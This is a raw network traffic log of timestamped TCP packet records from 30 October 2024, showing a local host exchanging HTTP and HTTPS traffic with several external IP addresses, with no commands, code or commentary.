Oct 30, 2024 00:21:25.006139040 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006154060 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006169081 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006182909 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006191969 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006191969 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006200075 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006213903 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006221056 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006222010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006232023 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006253958 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006253958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006253958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006270885 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006302118 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.019982100 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.038558960 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038589954 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038605928 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038613081 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.038620949 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038636923 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038639069 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.038652897 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038669109 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.038685083 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.038719893 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.038719893 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.083023071 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.083043098 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.083058119 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.083163023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.083163023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148080111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148102999 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148119926 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148133993 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148159027 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148159027 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148160934 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148176908 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148194075 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148195982 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148211956 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148225069 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148255110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148261070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148261070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148279905 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148296118 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148313046 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148322105 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148330927 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148346901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148358107 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148364067 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148366928 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148405075 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148405075 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148463964 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148479939 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148495913 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148513079 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148528099 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148535967 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148535967 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148535967 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148550034 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148557901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148565054 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148574114 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148588896 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148613930 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148616076 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148619890 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148624897 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148633957 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148648024 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148657084 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148663998 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148677111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148700953 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148700953 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148705006 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148720980 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148734093 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148745060 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148760080 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148761988 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148787975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148787975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148788929 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148818970 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148833990 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148847103 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148861885 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148861885 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148875952 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148890972 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148890972 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148890972 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148905993 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148924112 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148924112 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148947001 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.148962021 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148977995 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.148991108 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149005890 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149015903 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149015903 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149022102 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149038076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149049997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149049997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149051905 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149068117 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149080038 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149080038 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149080038 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149096966 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149111032 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149125099 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149131060 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149131060 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149139881 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149152040 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149152040 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149177074 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149182081 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149199009 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149213076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149229050 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149234056 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149234056 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149244070 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149265051 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149265051 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149274111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149293900 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149301052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149301052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149365902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149386883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149403095 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149418116 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149431944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149454117 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149480104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149490118 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149504900 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149518967 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149533987 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149539948 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149549007 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149564028 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149578094 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149578094 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149579048 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149611950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149646044 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149660110 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149674892 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149691105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149704933 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149708986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149708986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149719954 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149734020 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149734974 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149749041 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149764061 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149766922 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149766922 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149777889 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149780989 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149796009 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149796963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149817944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149853945 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149853945 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149854898 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149871111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149883986 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149899006 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149910927 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149913073 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149913073 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149924040 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.149926901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.149957895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.150006056 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.290147066 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.290179968 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:25.290249109 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.290632010 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.290643930 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:25.908829927 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:25.908915043 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.910156965 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.910170078 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:25.910429001 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:25.915508986 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.915582895 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:25.915586948 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:26.388895035 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:26.388994932 CET	443	59798	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:26.389157057 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:26.389182091 CET	59798	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:26.994703054 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:27.196284056 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.196356058 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.196427107 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.196954012 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.196971893 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.475872993 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:27.476270914 CET	59800	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:27.483912945 CET	80	59794	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:27.483931065 CET	80	59800	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:27.483983994 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:27.484014034 CET	59800	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:27.484713078 CET	59800	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:27.491772890 CET	80	59800	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:27.819236040 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.819363117 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.848608971 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.848669052 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.848953009 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.850116968 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.851032972 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.851078987 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.851207018 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.851265907 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.851407051 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.851458073 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.853512049 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.853565931 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.853784084 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.853840113 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.854476929 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.854526997 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.854558945 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.854587078 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.854726076 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.854773998 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.854826927 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.856679916 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.856736898 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.867835045 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.868113041 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.868206978 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.868282080 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.868406057 CET	59799	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:27.875267982 CET	443	59799	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:27.880862951 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:27.880904913 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:27.880973101 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:27.892041922 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:27.892075062 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:28.396287918 CET	80	59800	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:28.399342060 CET	59800	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:28.406564951 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:28.406929970 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:28.414314985 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:28.414652109 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:28.414732933 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:28.414735079 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:28.414923906 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:28.422596931 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:28.756376982 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:28.756468058 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:28.762054920 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:28.762068033 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:28.762332916 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:28.809576988 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:28.810157061 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:28.855335951 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:29.311255932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311337948 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311352968 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311367989 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311384916 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311403990 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311403036 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.311424017 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311439037 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.311441898 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311459064 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311463118 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.311476946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.311489105 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.311517954 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.318320036 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.318392038 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.318409920 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.318449020 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.318475962 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.362714052 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:29.362799883 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:29.362862110 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:29.362864017 CET	443	59801	140.82.121.3	192.168.2.5
Oct 30, 2024 00:21:29.362907887 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:29.408745050 CET	59801	443	192.168.2.5	140.82.121.3
Oct 30, 2024 00:21:29.430192947 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:29.430237055 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:29.430314064 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:29.430819035 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:29.430834055 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:29.465168953 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465190887 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465228081 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465253115 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465374947 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465389967 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465435028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465460062 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465498924 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465504885 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465514898 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465533018 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.465538025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465558052 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.465564013 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.466408968 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466454983 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466502905 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.466818094 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466855049 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466861010 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.466876030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466892004 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.466897011 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.466917038 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.466938972 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:29.467668056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.467683077 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.467700005 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.467716932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:29.467730045 CET	59802	80	192.168.2.5	185.215.113.16
